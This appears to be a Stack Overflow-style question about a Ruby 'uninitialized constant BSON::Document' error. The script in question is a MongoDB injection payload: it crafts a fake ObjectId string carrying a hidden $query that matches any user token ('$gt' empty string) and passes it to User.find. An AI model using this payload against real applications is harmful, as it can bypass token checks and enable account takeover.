title: uninitialized constant BSON::Document
body: <p>I'm trying to execute ruby code on ubuntu 14.04 and while executing getting error,</p>
  
  <p><strong>'': uninitialized constant BSON::Document (NameError)</strong></p>
  
  <p>The code is,</p>
  
  <pre><code>#!/usr/bin/ruby
  require 'uri'
  require 'bson'
  require 'mongo'
  b = BSON::Document.new
  b["$query"] = {"token" =&gt; {"$gt"=&gt;""}}
  
  payload = b.to_bson[4..-2]
  id_ish = ("\n\n" + "a"*24 + "\n\n")
  
  fake_id = "a"*24 +
    "\x02_id\0".unpack('H*')[0] +
    [id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" +
    payload.unpack('H*')[0]
  
  puts URI.encode(fake_id)
  
  User.find fake_id
  </code></pre>
  
  <p>I have gone through the documentation,
  <a href="https://docs.mongodb.com/ruby-driver/master/tutorials/bson-v4/" rel="nofollow noreferrer">BSON Tutorial</a></p>
  
  <p>Any idea what i'm missing here. Any pointer would be appreciated.</p>